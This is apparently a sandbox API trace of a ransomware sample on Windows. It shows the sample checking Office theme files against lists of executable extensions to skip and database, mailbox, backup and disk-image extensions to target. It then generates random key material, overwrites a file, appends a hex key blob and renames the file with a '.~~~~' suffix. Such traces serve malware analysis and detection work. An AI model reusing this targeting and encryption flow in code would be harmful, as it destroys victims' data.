	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".db3") returned 0x0
	[0085.717] lstrlenW (lpString=".OST") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".OST") returned 0x0
	[0085.717] lstrlenW (lpString=".dbx") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dbx") returned 0x0
	[0085.717] lstrlenW (lpString=".DB3") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DB3") returned 0x0
	[0085.717] lstrlenW (lpString=".DAT") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DAT") returned 0x0
	[0085.717] lstrlenW (lpString=".VHDX") returned 5
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".VHDX") returned 0x0
	[0085.717] lstrlenW (lpString=".ndf") returned 4
	[0085.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".ndf") returned 0x0
	[0085.717] lstrlenW (lpString=".DB") returned 3
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DB") returned 0x0
	[0085.718] lstrlenW (lpString=".sql") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".sql") returned 0x0
	[0085.718] lstrlenW (lpString=".MYD") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".MYD") returned 0x0
	[0085.718] lstrlenW (lpString=".DBT") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DBT") returned 0x0
	[0085.718] lstrlenW (lpString=".ACCDB") returned 6
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".ACCDB") returned 0x0
	[0085.718] lstrlenW (lpString=".fdb") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".fdb") returned 0x0
	[0085.718] lstrlenW (lpString=".bak") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".bak") returned 0x0
	[0085.718] lstrlenW (lpString=".myd") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".myd") returned 0x0
	[0085.718] lstrlenW (lpString=".DTXS") returned 5
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".DTXS") returned 0x0
	[0085.718] lstrlenW (lpString=".ckp") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".ckp") returned 0x0
	[0085.718] lstrlenW (lpString=".dbt") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".dbt") returned 0x0
	[0085.718] lstrlenW (lpString=".db") returned 3
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".db") returned 0x0
	[0085.718] lstrlenW (lpString=".TXT") returned 4
	[0085.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".TXT") returned 0x0
	[0085.718] lstrlenW (lpString=".MDF") returned 4
	[0085.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".MDF") returned 0x0
	[0085.719] lstrlenW (lpString=".bdb") returned 4
	[0085.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".bdb") returned 0x0
	[0085.719] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0085.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.719] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0085.720] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.720] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.720] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0085.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce6f8
	[0085.721] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20571126288) returned 1
	[0085.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9ce8bb10, dwHighDateTime=0x1d60e1e)) 
	[0085.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0085.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0085.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0085.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6128
	[0085.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6128 | out: hHeap=0x300000) returned 1
	[0085.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0085.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0085.722] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0085.722] GetLastError () returned 0x0
	[0085.723] GetLastError () returned 0x0
	[0085.723] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0085.723] GetLastError () returned 0x0
	[0085.723] GetLastError () returned 0x0
	[0085.725] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffff48a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.725] WriteFile (in: hFile=0x120, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xb75e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xb75e, lpOverlapped=0x0) returned 1
	[0085.725] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.725] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.726] WriteFile (in: hFile=0x120, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.726] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.726] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.726] CloseHandle (hObject=0x120) returned 1
	[0085.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.726] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.~~~~")) returned 1
	[0085.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f58f0 | out: hHeap=0x300000) returned 1
	[0085.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0085.727] GetLastError () returned 0x0
	[0085.727] RtlWakeConditionVariable () returned 0x365f70
	[0085.727] GetCurrentThreadId () returned 0x9f4
	[0085.727] GetCurrentThreadId () returned 0x9f4
	[0085.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f58f0
	[0085.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5610 | out: hHeap=0x300000) returned 1
	[0085.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60f0 | out: hHeap=0x300000) returned 1
	[0085.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5610
	[0085.727] lstrlenW (lpString=".scr") returned 4
	[0085.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".scr") returned 0x0
	[0085.727] lstrlenW (lpString=".cmd") returned 4
	[0085.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".cmd") returned 0x0
	[0085.727] lstrlenW (lpString=".dll") returned 4
	[0085.727] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dll") returned 0x0
	[0085.727] lstrlenW (lpString=".bat") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".bat") returned 0x0
	[0085.728] lstrlenW (lpString=".cpl") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".cpl") returned 0x0
	[0085.728] lstrlenW (lpString=".sys") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".sys") returned 0x0
	[0085.728] lstrlenW (lpString=".msc") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".msc") returned 0x0
	[0085.728] lstrlenW (lpString=".com") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".com") returned 0x0
	[0085.728] lstrlenW (lpString=".lnk") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".lnk") returned 0x0
	[0085.728] lstrlenW (lpString=".msp") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".msp") returned 0x0
	[0085.728] lstrlenW (lpString=".pif") returned 4
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".pif") returned 0x0
	[0085.728] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.728] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0085.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0085.729] lstrlenW (lpString=".sqb") returned 4
	[0085.729] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".sqb") returned 0x0
	[0085.729] lstrlenW (lpString=".ost") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".ost") returned 0x0
	[0085.730] lstrlenW (lpString=".txt") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".txt") returned 0x0
	[0085.730] lstrlenW (lpString=".mdt") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".mdt") returned 0x0
	[0085.730] lstrlenW (lpString=".BDB") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".BDB") returned 0x0
	[0085.730] lstrlenW (lpString=".eql") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".eql") returned 0x0
	[0085.730] lstrlenW (lpString=".DBF") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DBF") returned 0x0
	[0085.730] lstrlenW (lpString=".EQL") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".EQL") returned 0x0
	[0085.730] lstrlenW (lpString=".FDB") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".FDB") returned 0x0
	[0085.730] lstrlenW (lpString=".EDB") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".EDB") returned 0x0
	[0085.730] lstrlenW (lpString=".DACPAC") returned 7
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DACPAC") returned 0x0
	[0085.730] lstrlenW (lpString=".VHD") returned 4
	[0085.730] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".VHD") returned 0x0
	[0085.731] lstrlenW (lpString=".DBV") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DBV") returned 0x0
	[0085.731] lstrlenW (lpString=".dacpac") returned 7
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dacpac") returned 0x0
	[0085.731] lstrlenW (lpString=".sdf") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".sdf") returned 0x0
	[0085.731] lstrlenW (lpString=".accdb") returned 6
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".accdb") returned 0x0
	[0085.731] lstrlenW (lpString=".DBX") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DBX") returned 0x0
	[0085.731] lstrlenW (lpString=".MDT") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".MDT") returned 0x0
	[0085.731] lstrlenW (lpString=".SQB") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".SQB") returned 0x0
	[0085.731] lstrlenW (lpString=".vhd") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".vhd") returned 0x0
	[0085.731] lstrlenW (lpString=".bac") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".bac") returned 0x0
	[0085.731] lstrlenW (lpString=".mdf") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".mdf") returned 0x0
	[0085.731] lstrlenW (lpString=".BAK") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".BAK") returned 0x0
	[0085.731] lstrlenW (lpString=".BAC") returned 4
	[0085.731] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".BAC") returned 0x0
	[0085.732] lstrlenW (lpString=".dbs") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dbs") returned 0x0
	[0085.732] lstrlenW (lpString=".vhdx") returned 5
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".vhdx") returned 0x0
	[0085.732] lstrlenW (lpString=".NDF") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".NDF") returned 0x0
	[0085.732] lstrlenW (lpString=".dat") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dat") returned 0x0
	[0085.732] lstrlenW (lpString=".DBS") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DBS") returned 0x0
	[0085.732] lstrlenW (lpString=".CKP") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".CKP") returned 0x0
	[0085.732] lstrlenW (lpString=".edb") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".edb") returned 0x0
	[0085.732] lstrlenW (lpString=".PST") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".PST") returned 0x0
	[0085.732] lstrlenW (lpString=".dbf") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dbf") returned 0x0
	[0085.732] lstrlenW (lpString=".SQL") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".SQL") returned 0x0
	[0085.732] lstrlenW (lpString=".pst") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".pst") returned 0x0
	[0085.732] lstrlenW (lpString=".dbv") returned 4
	[0085.732] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dbv") returned 0x0
	[0085.733] lstrlenW (lpString=".SDF") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".SDF") returned 0x0
	[0085.733] lstrlenW (lpString=".dtxs") returned 5
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dtxs") returned 0x0
	[0085.733] lstrlenW (lpString=".db3") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".db3") returned 0x0
	[0085.733] lstrlenW (lpString=".OST") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".OST") returned 0x0
	[0085.733] lstrlenW (lpString=".dbx") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".dbx") returned 0x0
	[0085.733] lstrlenW (lpString=".DB3") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DB3") returned 0x0
	[0085.733] lstrlenW (lpString=".DAT") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DAT") returned 0x0
	[0085.733] lstrlenW (lpString=".VHDX") returned 5
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".VHDX") returned 0x0
	[0085.733] lstrlenW (lpString=".ndf") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".ndf") returned 0x0
	[0085.733] lstrlenW (lpString=".DB") returned 3
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DB") returned 0x0
	[0085.733] lstrlenW (lpString=".sql") returned 4
	[0085.733] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".sql") returned 0x0
	[0085.733] lstrlenW (lpString=".MYD") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".MYD") returned 0x0
	[0085.734] lstrlenW (lpString=".DBT") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DBT") returned 0x0
	[0085.734] lstrlenW (lpString=".ACCDB") returned 6
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".ACCDB") returned 0x0
	[0085.734] lstrlenW (lpString=".fdb") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".fdb") returned 0x0
	[0085.734] lstrlenW (lpString=".bak") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".bak") returned 0x0
	[0085.734] lstrlenW (lpString=".myd") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".myd") returned 0x0
	[0085.734] lstrlenW (lpString=".DTXS") returned 5
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".DTXS") returned 0x0
	[0085.734] lstrlenW (lpString=".ckp") returned 4
	[0085.734] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpSrch=".ckp") returned 0x0
	[0085.734] lstrlenW (lpString=".dbt") returned 4
